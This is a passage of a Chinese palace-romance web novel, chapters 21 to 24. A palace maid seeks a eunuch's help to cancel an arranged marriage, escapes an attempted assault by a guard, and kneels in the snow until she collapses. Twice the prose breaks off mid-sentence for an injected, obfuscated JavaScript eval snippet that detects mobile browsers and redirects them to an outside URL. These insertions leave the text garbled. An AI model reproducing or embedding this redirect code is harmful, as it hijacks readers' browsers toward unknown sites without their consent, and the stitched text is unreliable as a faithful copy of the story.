张景和手撑在桌面上,支颐着看着她,“那如果我不呢?” “那小云就一直缠着公公。” 见他不语,姚砚云走他和身前跪了下来,“公公,所以小云今晚是来求您的,求您帮小云一次吧,您帮了我这一次,只要之后您需要我,小云为您做牛做马我都愿意的。” 张景和没有回答她的问题,忽然眉峰一蹙,像是想起了什么要紧事,语气陡然沉了几分,“不过,你为什么要和别人说,你是我的女人?” 姚砚云瞳孔猛地一缩,眼神飞快地闪烁着,吓得脸都白了,这话竟然传到张景和耳边了。 她是不会承认的。 姚砚云慌忙摇头,“我没有说过!” “当真没说过?”,张景和又问了一遍 “真没有!”姚砚云咬着牙,硬撑着否认。 张景和指尖在桌面上轻轻叩了两下,发出沉闷的声响,“最好是没说过!敢打着我的名头在外招摇撞骗,仔细想想自己的脑袋还想不想要了。” 姚砚云道,“公公您相信我,我真没说过。” 张景和不耐烦地挥了挥手,“行了行了,你先出去。” 姚砚云却僵在原地不肯动,膝盖在地上蹭了半寸,“公公,那,那刚才说的那事……” 张景和冷冷说了一句“我会考虑。” 21. 第 21 章 多年前蓝砚舟还是一名吏目时,曾跟随他父亲到德妃的宫殿里給德妃看诊,恰好当时德妃的亲姐姐来宫里看她,德妃姐姐那时得了风寒,于是他父亲就让他给德妃姐姐看诊。 那几年是德妃圣宠最多的时候,她的姐姐自然也跟着骄傲起来,看诊时他不小心将一杯茶水洒在了她手上,当即就被她破口大骂。 当时还是德妃贴身宫女的姚砚云,安抚了很久才把德妃姐姐的气消下,姚砚云将他带出屋外后,连连和他道歉,说是她没及时把桌面收拾好。 那时他才注意到她,见她第一眼就觉得她长的真好看,尤其她的双眼,笑起来时像一汪秋水似的,那时候他就喜欢上了她。 后面他发现,她时常会找他的好友仲和买药,他也有意去接近她,可她对他的态度却不再如那日在德妃宫里那般,他找了很多法子接近她,可她对他就是冷冰冰的。 后面他只能把这段感情放进了心里,直到最近,他又在太医院看到了她,他主动和她说话,她的态度也没那么冷了,她好像变了一个人似的,这让他很开心。 他还是放不下她。 蓝砚舟今日约姚砚云在凉亭这边相见,他决定表明自己的心意了,他知道姚砚云已经到了出宫的年纪了。 姚砚云刚坐下就发现,蓝砚舟的脸,脖子,耳根全红了。 “姚姑娘,那同心结你收到了吗。”,蓝砚舟垂首低眉,双手缩进宽大的衣袖中,来遮挡手的微颤。 这下子轮到姚砚云不好意思了,“收到了......” 蓝砚舟道,“姚姑娘,你今年就到年纪出宫了吧,你可有什么打算。” “会继续留在京师,到时候想做小生意。”,姚砚云极力让自己看起来自然一些,“走一步看一步吧。” “你家里可有给你说亲。”,蓝砚舟这句话说的特别轻,特别的小心翼翼。 姚砚云道,“我家里就我一个人。” 蓝砚舟听到此话,猛地抬起头来,眼中都是自责和心痛,“对不起,我.....” 姚砚云笑了笑,说了句没事。 忽然,蓝砚舟双手从袖子中抽了出来,指节攥得死紧,像是用尽了毕生力气才挤出那句滚烫的话,“姚姑娘,我,我,我喜欢你,你想娶你为妻!” 话音落时,他的脸已经和熟透的柿子没区别了。 姚砚云惊呆了...... 她猜到他今天可能是要说些情话的,可没想到他说的那么直白啊,竟直接说要娶她,她愣了愣,好长一段时间都没回他的话。 蓝砚舟慌忙往旁边挪了挪,说话都结巴了,“姚姑娘,我可是吓着你了。” 出宫后能有个依靠固然是好事,蓝砚舟的确是个不错的人,生得眉目清朗、白白净净,可一想到他父亲为了求个儿子,不仅接连纳了数房妾室,竟还硬生生生养了九个孩子,她心里就忍不住打鼓。 若是真嫁了他,将来自己也生不出儿子,下场岂不是要和他那位原配夫人一样?光是想想,就让人脊背发凉,实在太可怕了。 更何况,最关键的是,她对他,实在谈不上喜欢。 姚砚云想了想道,“蓝太医,你很好,可我还是得实话和你说,我对你终究只有朋友间的情谊。” 蓝砚舟闻言,眼底的光暗了暗,却仍执拗地望着她,声音里满是恳切,“姚姑娘,我明白,可我愿意等,多久都愿意。” 两人聊完后,就一起走出了凉亭,行至廊下时,蓝砚舟忽然瞥见不远处的宫苑上空,正飘着四五只风筝,借着风势轻轻摇曳。 他脚步一顿,抬手指给姚砚云看,“姚姑娘,你瞧那边。” 姚砚云顺着他指的方向望去。 冬日的太阳正悬在澄澈的半空,金辉直直落下来,恰好铺在她脸上,此刻她的眉眼全浸在光里,蓝砚舟侧头看着她,两人在目光交汇的一瞬间,他的脸又红了。 “这样的天气,风筝也能放起来?”,姚砚云问。 蓝砚舟道,“可以啊。” 他望着空中那几只风筝,鼓足了勇气道,“姚姑娘,等你出了宫,我们……一起去放风筝,可好?” 姚砚云粲然一笑,爽快应道,“行。” “怪不得执意要退了和陈侍卫的婚事,原来是看中了蓝太医。”,不远处,恰好路过的张景和将这一幕尽收眼底,心中豁然明了。 金辉落在两人身上,不远处的男子动作有些拘谨,目光却总是落在姚砚云的身上,他没听到两人说话的内容,却听到好几次姚砚云那欢快的笑声。 一阵小风吹来,有片小小的枯叶落在了他肩上。张景和抬手去掸,指尖却在半空停住,忽然想起的往事让他心中一紧。 像他这种人怎么敢有这种念头,有些念头,连想都不应该想的。 他深吸口气,再次抬眼望向那两人,阳光下,她笑靥明媚,他眼含温光,竟真像一对天造地设的璧人,般配得让人心头泛起一丝说不清的涩意...... 时间飞逝,还有不到一个月,姚砚云就能出宫了,这段日子张景和的头疾犯了好几次,吉祥来唤了她去照料数次。 张景和虽不情愿,但每次姚砚云都直接上手,张景和被按/.的舒服了,也不多说什么了。 自从给他送了那件大礼后,姚砚云便认定张景和是默认应下帮忙了,毕竟那日之后,两人见了数面,他半句推拒的话都未曾说过。 想到这些姚砚云心情大好,她开始期待出宫后的生活了,外面的世界是怎么样的呢?她能通过自己的打拼,过上好日子吗?外面的饭馆好吃吗? 还有还有,她出宫后一定要每日睡到日头晒屁股,谁也别想叫她早起! 和马冬梅在宫房用完饭后,两人坐着消了一会儿食,又躺到床上去了。 姚砚云怕冷,这段时间一直是和马冬梅一起睡的。 期间两人又聊到了出宫后的生活,她们计划是这样的,到时候先去外面租个房子,之后再根据实际情况,开一间小铺子,至于卖什么,姚砚云说目前还不能确定,到时候要根据实际情况做一下调查才能做决定。 正躺着犯迷糊,忽有人叩门,说是掌事姑姑有差事找她。 虽已过了当值时辰,可这般临时的差使也不是头一遭,姚砚云只得叹口气,披衣穿鞋,不情不愿地走了出去。 走出宫房大门处,是一个他之前从未见过的公公。 姚砚云问,“不是说,是姑姑找我吗。” 那太监道,“过几天宫里要举办一场法事,选在了倚月轩那边,现在要把那边收拾收拾。” 倚月轩原是多年前重阳节时,专为宫里妃嫔女眷放灯祈福建的亭子,旁侧还修了方不算小的人工池。 过后,这地方便荒了许多年,又因坐落在宫中外庭极偏僻的角落,姚砚云竟是头回听闻。 可公公既已上门传话,她也不好推托,只得跟着往那边去。 走了将近两刻钟,才到一处拱门跟前。 “你自个儿进去吧,其他宫女都在里头忙活呢。”那太监丢下这句话,便转身匆匆离开了。 姚砚云站在拱门边,见 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“你这个卑鄙小人,你竟然骗我来这里!”,姚砚云说话的声音抖得和筛子似得。 “我想见我的未婚妻,我怎么就成卑鄙小人了?”,陈忠义挨了打,非但没松劲,反而箍得更紧,“你要是愿意见我,我会这样?” 姚砚云挣开他,怒道,“我想我上次已经和你说得够清楚了,我不会嫁给你,你这样做有意思吗?” 陈忠义猛地拽着她往前踉跄了几步步,“这事你说了不算。” 他伸手去抓她的手腕,姚砚云往后挣,连连后退。 陈忠义见她后退的动作,怒火一下子就涌了上来。 “啊云,你这是什么意思?你是铁了心要和我断了是吗?”,他几乎是吼出来。 姚砚云直视他的目光,“你问一万次,我也是不会嫁给你的。” 陈忠义忽然低低笑起来,笑声里满是嘲讽,“哦,好大的底气啊,你不就是这段时间去找了张公公吗?想让他帮你把名单拿下来?” “啊云,你别忘记了,你能找张公公把名单拿下来,我也能找王公公刘公公把名单递上去。” “收买张公公,花了不少银子吧?”他忽然放声大笑,“可你有我钱多吗?你能收买他一次,还能收买第二次、第三次?” “我明日就会去找另外一位执笔太监,说明这个情况,我看到时候他们会听你的,还是听我的。” 姚砚云只觉得呼吸苦难,头晕目眩,她一只手扶着一旁的树,另一手紧紧按着起伏的胸口。 陈忠义见状,直接把她搂进了自己的怀里,“不要闹了好吗。” “滚开!”,姚砚云强忍着不适,再次把他推开。 “你装什么装啊,姚砚云啊。”,陈忠义此时已经彻底失去了耐心,“反正你我迟早要成为夫妻的,不如今晚就把事先圆了吧。” “你这个疯子。”,姚砚云疯了般往出口那边跑去。 可没跑出几步,后领就被攥住,陈忠义几步追上,将她狠狠拖往最深处那座废弃的亭子上,随即扑上来将她按在冰冷的石面上。 他粗糙的手去扯她的衣襟,恶狠狠地低吼,“喊破喉咙也没用!这地方连巡逻人的影子都没有!” 寒冷,晕眩,强烈的不适,对上他强大的身躯,让她几乎无法反抗。 就在他的手即将扯开她外衣的瞬间,她抓起一把土,往他的脸上撒去。 随着陈忠义的一声叫喊,她往池边跳了下去。 22. 第 22 章 “皇上!就算今晚你要赐死臣妾,臣妾也要说。”,在乾清宫的书房内,皇后已经跪了有一刻钟了。 “去年太医就曾说过,你的龙体已经不起大补,皇上为何这般不爱惜自己的身体。” 说完皇后抬手拭去眼角滚落的泪。 “皇后,朕知道了。”,景隆帝从御座上起身,将皇后扶了起来,“先起来吧。” 皇后在他身侧坐下,“懿嫔那边我已经罚了她两个月不能出延禧宫,皇上你看这样可以吗。” 景隆帝眼中掠过一丝不快,“一个月未免太伤她了,十天吧,如何?” “皇上!懿嫔她做的那些事,天理不容,仅仅禁足十日,臣妾要怎么和后宫其他人交代?”,皇后说这些话时,凤眼里满是难以置信。 景隆帝摆了摆手,“皇后,你先回坤宁宫吧。” “皇上!臣妾......” 景隆帝的声音陡然转厉,“我叫你出去!” 以上这些话,被站在屏风外候着的张景和全部听进了心里,他心中期盼着皇后赶紧离开,要是和皇上吵起来后,事情就难办了。 宫中其他事,他没有一件是不办得漂漂亮亮的,可唯独劝架帝后这件事,他实在是搞不来,好在他干爹明天就正式回宫当差了,只要熬过今晚,他就万事大吉了。 他才稍微发了一下神,书房里便传来茶杯碎裂的脆响。 更可怕的是,在下一瞬间,他听到里头有人重重摔倒在地。 张景和浑身一激灵,里头那两位不管是谁摔了,都是大事。 他这下已经顾不得那么多了,只能咬着牙走了出去。 一进门,就见景隆帝歪坐在金砖地上,张景和顿时吓得冷汗涔涔,膝盖一软差点跪下,忙踉跄着要上前搀扶。 谁知脚刚迈出半步,景隆帝竟猛地撑着地面站起,反手抓起八仙桌上的青花执壶,带着雷霆之怒朝皇后方向掷去。 张景和往皇后身前一挡。 随着“咚”的一声,执壶狠狠砸在他右额,温热的血瞬间涌出,顺着眉骨滑进眼眶,糊住了视线,又沿着脸颊滴落在地面。 他忍着眩晕抬头,见景隆帝仍在气头上,一边用手死死按住出血的伤口,一边劝皇后先行离开,“皇后娘娘,您先回去吧。” 皇后脸色煞白,显然是被吓得不轻,她匆匆向景隆帝福了福身,就退出了书房。 “万岁爷您摔着哪儿了。”,张景和捂着额头往前挪了几步,血珠顺着指缝不断渗出,“万岁爷,奴婢这就去请太医。” 景隆帝长长叹了一口气,“张公公你先去处理伤口吧。” 张景和还想再说什么,却被他厉声打断,“别废话,赶紧去!” 张景和踏入太医院时,胸前衣襟已被鲜血浸透,半边脸上也皆是近乎结痂的血迹。 被砸开的伤口实在太大,最后通过缝线才止住了血。 他抬手抹了把脸,“江太医,你这边有治疗头疾比较有效的药吗。” 江太医从药柜上拿出一陶瓷小瓶,倒出了三颗小药丸,“不一定有用,张公公您先试试。” 张景和接过药丸,仰头便吞了下去。 他独自走在宫道上,一阵寒风吹来,紧了紧身上披着的大氅,这天是越来越冷了,他早上还在和其他几位执笔太监说,今晚会迎来紫禁城的首场冬雪。 回到了公所后,他先是换了衣服,紧接着让伺候他的小火者多加了几盆炭火。 头很痛,他尝试了好几次都无法入睡,后面又走到了大厅,他只留了一盏灯,坐在太师椅上,单手支撑着额头,闭着眼。 不知道过了多久,忽然一阵敲门声传来。 也没等他应允,屋外之人就走了进来。 姚砚云一身狼狈出现在他身前,面无血色,嘴唇发紫,发丝凌乱,厚厚的棉衣上不断有水滴从衣摆坠落。 就在不久前,她为了躲避陈忠义毫不犹疑地跳进了冰冷的池子中,等陈忠义走后她也顾不得冷了,满脑子想的都是陈忠义说的那些话。 “你能找张公公把名单拿下来,我也能找王公公刘公公把名单递上去。” “我明日就会去找另外一位执笔太监,说明这个情况,我看到时候他们会听你的,还是听我的。” 是啊,她能找张景和办这件事,陈忠义为什么不可以?她太慌了,连衣服都没敢回去换,就来到了张景和的公所。 “公公,今晚小云冒昧来打扰您,是想请您告诉小云一句准话,那名单您能撤下来吗?” 厅内只点了一个烛台,姚砚云无法太细致观察出张景和的神情,她只能通过他的语气来判断他的心情,可等了好一会儿,对方依旧是单手支撑着额头,闭着眼。并不打算回她的问题。 “公公。” 姚砚云又叫唤了一句。 “我说了我会考虑。”,张景和清冷的声音传来,“你先出去。” “公公,我......” “我叫你出去!”,他猛地抬头,额间缠着的白布在烛光下泛出冷白。 “我不出去!”,姚砚云道,“我想公公您给我一句准话。” 张景和勃然大怒,“姚砚云你好大的胆子,竟然敢在我面前放肆,你真把自己当回事了。” 姚砚云往地上一跪,“公公要是不给小云一句准话,小云就长跪在公公这里了。” 张景和按了按眉心,冷笑着,“在我这里跪着多憋屈啊,我听说今晚会下首场冬雪,你不如去外头跪着,还能欣赏下这雪景。” 姚砚云抬眼望他,“是不是我外头跪上一夜,您就愿意帮我。” 张景和扯了扯嘴角,“好啊,那你就去跪吧。” 姚砚云挺直脊背,“那就这样说好了。” 她先是回了一趟宫房,换掉了身上湿衣服。等再次来到张景和的公所时,恰逢当值的小火者正要锁门,见了她便说,张公公早在片刻前就已离去,让她不必再等了。 小火者走后,姚砚云就在公所大门前跪了下来。 她披了一件厚披风,膝盖两处也垫了厚厚的棉布。 过了今晚就好了,过了今晚,陈忠义将彻底消失在她的生活里。 这地方平时来往的宫人少,又是晚上,姚砚云观察好四周无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16325963|183218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人后,便会站起来歇一歇,跳一跳。 就这样到了亥时六刻,仅存的暖意也没有了,夜风裹挟着刺骨的寒意直往她骨头缝里钻。 姚砚云跪在冰冷的青石板上,她的膝盖早已失去了知觉,像是两块冻在地上的石头,连带着整条腿都麻木得不听使唤。只觉得浑身的血液都快要冻僵了,四肢像被扔进冰窖里一般,冷得发疼,却又偏偏动不了分毫。 意识开始有些模糊,眼前的宫灯晕成一团团晃动的光斑,耳边的风声也变得忽远忽近。她用力咬了咬下唇,借着那一点微弱的痛感勉强维持着清醒,嘴里一遍遍地呢喃着。 “只要过了今晚就好了。” 她的眼皮越来越沉,只靠着那一点微弱的执念支撑着,仿佛只要把这句话念得足够多,漫漫长夜就真的能快点过去。 忽然有片凉丝丝的东西落在她才鼻尖,轻得像羽絮, 她颤了颤睫毛,沾着的霜花簌簌抖落。还没等她反应过来,更多白花花的碎屑扑过来,有的粘在了她干裂的唇上,有的钻进披风缝隙,贴着她的脖颈滑下去。 她抬眸一看,原来是下雪了,铅灰色的天正簌簌抖落小雪花,起初还是是零星几点,转瞬间,又变成洋洋洒洒的一片,落在她的发间,沾在结了冰花的睫毛上,连那件厚披风,也渐渐蒙了层毛茸茸的白。 “还挺好看的。”,她望着漫天的白雪飘飘落下,嘴角扬了起来,“过了今晚就好了......” “老爷,今晚是在宫里留宿还是回府。”,张景和前脚从诏狱出来,吉祥就迎了上去。 张景和望着漫天的飘雪,又想起今早和另外几名执笔太监的谈话。 “回府。” 吉祥道,“我这就去备马车。” “回来。”,吉祥还没走几步,张景和就叫住了他,他想到明日一早还要去太医院换药,从府里赶到太医院很耽误时间,“我今晚还是在宫里留宿。” 打发走吉祥,张景和便往自己的公所走去,雪下得愈发大了,不过片刻,他身上的大氅就积了层厚厚的白。 “瑞雪兆丰年。”他低声说了句,脚下的积雪发出咯吱轻响。 又往前走了十来步,只见他的公所大门外头,似有一人在那边跪着。 他加快了脚步,想看看到底是谁那么大胆,敢在他的公所前这般无礼。 “姚砚云,你在这里做什么!” 见没人应,张景和心头火起,提高了声音,“我问你在这里做什么。” 还是没人应,张景和蹲下了身子,想看下她到底在搞什么把戏。 “姚砚云!你......” 话音未落,她那冰凉的身子就倒在了他的怀里。 张景和瞳孔骤缩,怀中之人,双眼紧闭,那细长的睫毛上挂满了白色的冰霜,搭到他手背上的手,凉得像块冰,他想到了自己去诏狱前和她说的话。 她是疯了吗,到底在这里呆了多久。 “姚砚云,姚砚云,你醒醒。”,张景和拍了拍她冻得发青的脸颊。 见人始终没反应,他双臂一沉,将人打横抱起,大步冲向屋内。 23. 第 23 章 她的头歪在他温暖的臂弯里,这一丝暖意让她恢复了些许意识,她下意识往他怀里缩了缩,不愿意放过一丝暖意。 等意识彻底回笼时,她正躺在一张陌生的床上,身侧一个小宫女正用雪轻轻擦拭她的手臂和大腿。 身下是滑腻的贡缎褥子,身上盖着轻盈的丝绵被,暖意从四面八方涌来。 小宫女退出去后,姚砚云才懵懵懂懂地坐起身,她茫然地打量着周遭,还没等她理出些头绪,张景和已经掀帘进来,径直在她床边坐下。 “你怎么会在这儿?想做什么?”姚砚云猛地将被子往身上紧了紧,像只受惊的小兽往后缩了缩,眼神里满是警惕。 张景和翻了个毫不掩饰的白眼,“你在我的床上躺着!还问我来这里做什么?真有你的。” 姚砚云很快就想明白了,她在雪地里跪得晕厥过去,是这个傻逼太监救了她。 “休息好了就赶紧滚。”,丢下这句,张景和转身便出了房间。 床头搭着一身干净的宫女服,姚砚云默默换上,刚走到外间大厅,就撞上了张景和投来的目光,两人视线在空中短暂相触,又各自移开。 这次张景和先开口了。 “姚砚云,你说你做这一切到底是为了什么呢,先前为了和陈忠义的事能成,大费周章收买了王公公,现在呢,又大费周章甚至连自己的性命都不顾,让我来帮你退婚。” “婚姻对你来说就是儿戏吗?” “公公,就是因为婚姻对我来说不是儿戏,我才要取消和陈忠义的配婚。”,姚砚云抬眼望着他,语气恳切,“先前的我,或许对他有过好感,可后面我觉得和他并不合适,既然不合适不喜欢,又何必去误了对方。” 张景和不语。 姚砚云见状,又轻声问道:“公公,您这辈子,有没有一件非做成不可的事?” 不等他回答,她已自顾自接下去,眼底翻涌着执拗的光,“我有,取消和陈忠义的配婚,是我一定要做成的一件事,我就是死,也绝不会嫁给他。” 见张景和眼中有了一丝柔和的神色,姚砚云趁机走到了他的身后,小心翼翼地伸出手,轻轻捏着他的肩膀,“公公,您就帮帮小云吧。” “公公您要是帮了我,您就是我的再生父母。” “小云会感激您一辈子。” 她忽然瞥见他额角,惊呼一声,“公公,您的额头怎么了?” “这布都渗出血了,小云替您换一块吧,好不好?” “公公~” “公公~” 张景和:...... 张景和被她缠得没了法子,终于憋出一句,“行了,这事我应下了,你别再聒噪。” 姚砚云心头一松,开心的差点跳起来,忙追问,“真的吗,真的吗,公公您可不能骗小云。” “不骗你,你先闭嘴。”,张景和的声音里透着几分无奈。 姚砚云又揪起心来,“我怕陈忠义不愿意,也去找其他公公说这事,万一,万一,其他公公不给取消这个名单可怎么好啊。” 张景和道,“这事轮不到旁人插手。” 姚砚云这才彻底放下心来,脸上绽开灿烂的笑:“多谢公公!” 她又往前凑了凑:“公公,我帮您按按头吧。” “再过些日子我就要出宫了,这段时间您要是用得着我,尽管让吉祥公公来唤我。” “往后大约是难再见面了,但公公这份恩情,小云永生永世都记着。” 张景和脸上掠过一丝倦意,挥了挥手,“出去吧。” 姚砚云脚步轻快地走出屋门,抬头才发觉,天边已泛起蒙蒙亮的微光。 是啊,天亮了,她也终于解脱了,她的新生活就要开始了。 — 离出宫的日子还有不到二十天,姚砚云托人将陈忠义送的礼物原封不动地还了回去,自那以后,他果然没再纠缠。 前几天两人在宫道上遇到了,陈忠义痴痴地看了她几眼,便头也不回地擦肩而过。 这段时间蓝砚舟找尽了所有能接近她的机会,就是为了能和她多说几句话,姚砚云感受到了他猛烈的心意,心中也有所动摇,要不要和他试一试?或许两人之后真能培养出感情,可她心里又觉得别扭。 想了一会儿后,姚砚云就傻傻笑了,去它的,不想了,她和马冬梅过也一样! 这日晌午,姚砚云和另外三个宫女正往太医院送炭,刚要转身离开,一个白须飘拂的太医叫住了她。 “这位姑娘,请留步。” 姚砚云停下了脚步,“大人,请问您有什么事交代。” “叫我蓝院判就好,老夫有事情想请教姑娘一二。” 蓝院判的目光带着几分轻慢,把姚砚云从上至下打量了一遍,“怎么,难道说几句话的时间姑娘都没有?” 姚砚云虽浑身不自在,但对方是个太医,而她只是个宫女,也不敢不从。 两人来到了太医院内一间隔间。 蓝院判开门见山,“这位姑娘,老夫是个心直口快的人,也不和你说那些弯弯绕绕的话了。” “你和犬子实在不是一路人,我劝你还是死了这条心吧。” 他抬了抬下巴,眼神里着一股傲气,“我们蓝家从德庆朝起就在太医院任职,虽算不上入阁拜相的勋贵,也是有头有脸的人家。” “犬子和我说,他要娶你这位打扫宫女,想必是你和他说了什么吧?犬子不懂事,可我这个做父亲的不能不懂事,你要明白,婚姻大事得凭父母之命、媒妁之言,而不是你在他耳边吹几句风就可以的。” 姚砚云噗嗤一声笑了出来。 蓝院判皱起眉,“你笑什么?” “我笑有句话说得真对。”,姚砚云收起了笑意,眼神清亮,“医者不能自医。” “你这话什么意思?”蓝院判沉下脸。 “意思是,蓝院判身为太医,却治不好自己的臆症。”,姚砚云语气平淡,“你上来就认定是我挑唆令郎,这不是臆症是什么?” 蓝院判冷哼了一声,“你这姑娘!真的好没家教!” “蓝院判放心,心悦我的人,不止令郎一个。”姚砚云慢悠悠道,“他想娶我,我也是今天才知道,既然如此,我会好好考虑的。” 她顿了顿,看着对方铁青的脸色,笑了笑,“不过也请你转告他,成亲对女子是一辈子的事,我得仔细挑挑。最后不一定选他,还请他别太伤心了。” 蓝院判万万没想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16325964|183218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到,一个女子竟然敢说出如此无礼的话,他气的太阳穴突突跳,“无礼!一个女子怎么能说出这些话。” “你不是更无礼吗,上来就不分青红皂白说我挑唆你儿子娶我。”,姚砚云也站了起来,目光不卑不亢,“我这算是无礼的话,那你就是为老不尊。” “你看我只是一名身份低微的小宫女,所以就可以无中生有,肆意侮辱吗?” “你,你!”,蓝院判气的说不出话来。 “你老人家还有什么话要说吗?”,姚砚云理了理衣襟,“若是没有,我就不奉陪了。” 说罢,她转身走出隔间,原本晴朗的心情被这么一搅和,像被泼了盆冷水,瞬间沉了下去。 回到宫房,就见马冬梅、巧慧和啊芳围坐在她床边,正嗑着瓜子闲聊,脸上都带着轻松的笑意,她心头那点疲惫顿时散了,她自己也开心了起来。 “你们聊啥呢。”,她脱了鞋,利落地跳上床,挨着几人坐下。 “今天有个公公被处死了你知道不?”,马冬梅放了手里的瓜子,绘声绘色讲了起来,“这个公公姓李,在内官监那边当差的,说是出宫采买时贪了不少银子,这些年又对底下的太监非打即骂,还变着法儿勒索,底下人实在忍不了,就把他给告了。” “那李公公听说手里有好几条人命呢。” 啊芳往四周瞥了眼,声音压得极低:“宫里这些阉人,个个都惯会狗仗人势,在这儿待这些年,什么腌臜龌龊事没见过。” “你们还记得几个月前那个被打死的王公公不,他最恶心了,明目张胆勒索下属。” “反正这些阉人都没什么好东西,”啊芳摆了摆手,语气里带着厌弃,“仗着手里有那么点权,就把底下人往死里欺,还好我没多久就要出宫了,再也不用见这些嘴脸。” “也不是全部太监都这样吧,我遇到过几个,人品倒是还行。”,姚砚云道,“他们之中多数都是可怜人,这诺大的紫禁城,真正有权有势的太监能有几个,绝大多数,不都和我们一样,是讨生活的吗。” 她顿了顿,想起那些低头走路的小火者,“你看那些最底层的小火者,哪个不是如履薄冰地过日子,再说,能送孩子进宫当太监的,大多是家里穷得揭不开锅了,不然谁舍得,好多孩子才六七岁,什么都不懂,就遭了那罪……想想是真可怜。” 啊芳听她这么说,愣了愣,随即点头,“砚云,你这么说,倒也是这个理。” 这话题过了后,四人又聊起了一些让人脸红的闺中密话。 “我害怕啊,听说那事,头回很痛的。”,啊芳红着脸。 “砚云,你给啊芳支支招?”,马冬梅用胳膊肘轻轻碰了碰姚砚云。 姚砚云脸一热,“我支什么招啊,我又没做过。” 马冬梅道,“我知道你没经历过,但你不是画过吗?” 这话一出,巧慧和啊芳都愣住了,齐刷刷朝姚砚云投去好奇的目光,异口同声问,“你画过什么?” “没、没有的事!”姚砚云又羞又急,狠狠瞪了马冬梅一眼,伸手推了她一把,“你别听她瞎编排!” 马冬梅这才反应过来自己说错话了,慌忙摆手解释:“是我胡说,我随口瞎扯的,你们别当真……” 24. 第 24 章 今日的一场小雪下了将近两个时辰。 蓝砚舟约了姚砚云相见,她走到凉亭时,见他早已立在那里,依旧是往日那般,总比约定的时辰早到许久。 你到了很久?今日怪冷的。”,姚砚云搓了搓冻得发僵的手,又往掌心哈了口热气。 蓝砚舟却没接话,脸色有些沉重。 姚砚云把这一切看在眼里,“蓝太医,你怎么了。” 蓝砚舟皱了皱眉,“姚姑娘,你不应该这样做的,你这样会让我很为难。” 姚砚云一下子懵住了,“你在说什么。” “你怎么可以这样和家父说话,他是长辈啊。”,蓝砚舟的脸涨红了,声音也拔高了些,“他只是想见见你而已......” 姚砚云这才反应过来,他说的是什么事,有那么一瞬间她的心口像被什么东西轻轻蛰了一下,泛起一阵细密的疼,还好那感觉转瞬即逝。 “是,说了便说了。”,她语气平淡,听不出太多情绪。 “姚姑娘,我喜欢你也尊重你,但我希望你也能尊重我家人。”,蓝砚舟望着她,眼神里满是不解,“家父说话向来心直口快,或许那日对你说的话是急了些,但他不过是想了解一些事情而已,你在我心目中是最善解人意的。” “你怎么能说家父为老不尊。” “你这样,是把家父和你之间的关系彻底弄僵了。” 姚砚云笑了,“僵了就僵了吧,反正我也没打算和你爹把关系修复。” “姚姑娘,你可是生气了?”,蓝砚舟往前挪了一小步,“等你出宫后,我定明媒正娶,把你迎进门,但婚事终究要过家父这关,你随我去太医院跟他道个歉,这个事就算过去了,好不好。” 姚砚云:...... “姚姑娘,我对你是真心的。”他眼神恳切,带着几分渴求,“你听我的,行吗?” 姚砚云往后退了几步,“蓝太医,我不单只要说你爹为老不尊了,我还得说你独断专行。” “你凭什么和你爹说,要娶我进门?你说这话时问过我意见了吗。” “还是在你眼中,我就是那没有自己想法的木偶人,你又凭什么擅自帮我决定终生大事呢?” 蓝砚舟被问得哑口无言,张了张嘴,却一个字也说不出来。 姚砚云别开脸,“算了,我还有些事要忙,就先告辞了。” “姚姑娘......”,蓝砚舟叫住了她。 “姚姑娘,求娶你这件事,是我做的不够周全,我以后会改。” 姚砚云背对着他,只轻轻摆了摆手,连头也未曾回,“算了。” 姚砚云回到宫房后,一五一十把凉亭里的事跟马冬梅说了。 马冬梅骂了蓝砚舟足足一刻钟。 “哼,亏我之前那么看好他!” 姚砚云往床上一躺,“冬梅你说,我遇到的男人怎么都这么不正常。” “你说,我能不能找到一个,除了爱我,同时又能尊重我的人。” “还得只爱我一个!” “还不用给他生儿子那种。” —— 距离出宫还有八日! 在剩下的日子里,姚砚云和马冬梅几乎每夜都兴奋的睡不着。 “到时候我要买一张漂亮的梳妆台。” “到时候我要睡到自然醒。” “到时候我要去下馆子。” “到时候我要做一件粉色的衣裳。” 两人夜夜都是在各种憧憬下入睡的。 翌日,姚砚云和另外几个宫女被安排去花房做事。 忙完手头的活,姚砚云独自在廊下慢步,恰好遇到了吉祥。 姚砚云和他热情地打了招呼,吉祥要走时,姚砚云叫住了他,她实在很想搞明白,她的原身之前到底为何得罪了张景和。 吉祥本不愿意多说,但在姚砚云的软磨硬泡之下,他实在被烦的不行,于是就把之前的事,一五一十和她说了。 姚砚云听完腿都软了,“我真这样说了?” 吉祥道,“还能骗你不成?” 害他被打十大板,还三番五次当着他的面,说他是个恶心的阉人,姚砚云不敢想,到底是什么奇人才能对一位在御前伺候的太监,说出这样的话。 她光听吉祥讲,就胆战心惊了...... 还好,还好,这事已经过去了,很快她就会出宫了,这辈子都见不到他了。 姚砚云和吉祥道了谢,就继续往前走去了。 她有些心不在焉,走到一半,撞到人都不知道。 “砚云,恭喜你啊。”,说话的人叫啊春,是经常和姚砚云一起做事的宫女。 姚砚云揉了揉眼睛,一脸茫然,“恭喜我啥。” 啊春脸上带着点羞涩的笑意,“哎呀,这事我们都知道了,姐妹们都替你开心呢。” 姚砚云越听越糊涂,“啊春,你到底在说什么啊。” 啊春凑近一步,压着嗓子小声道,“你和张公公的事成了。” 姚砚云心头一跳,追问,“那个张公公?我和他什么事情成了。” 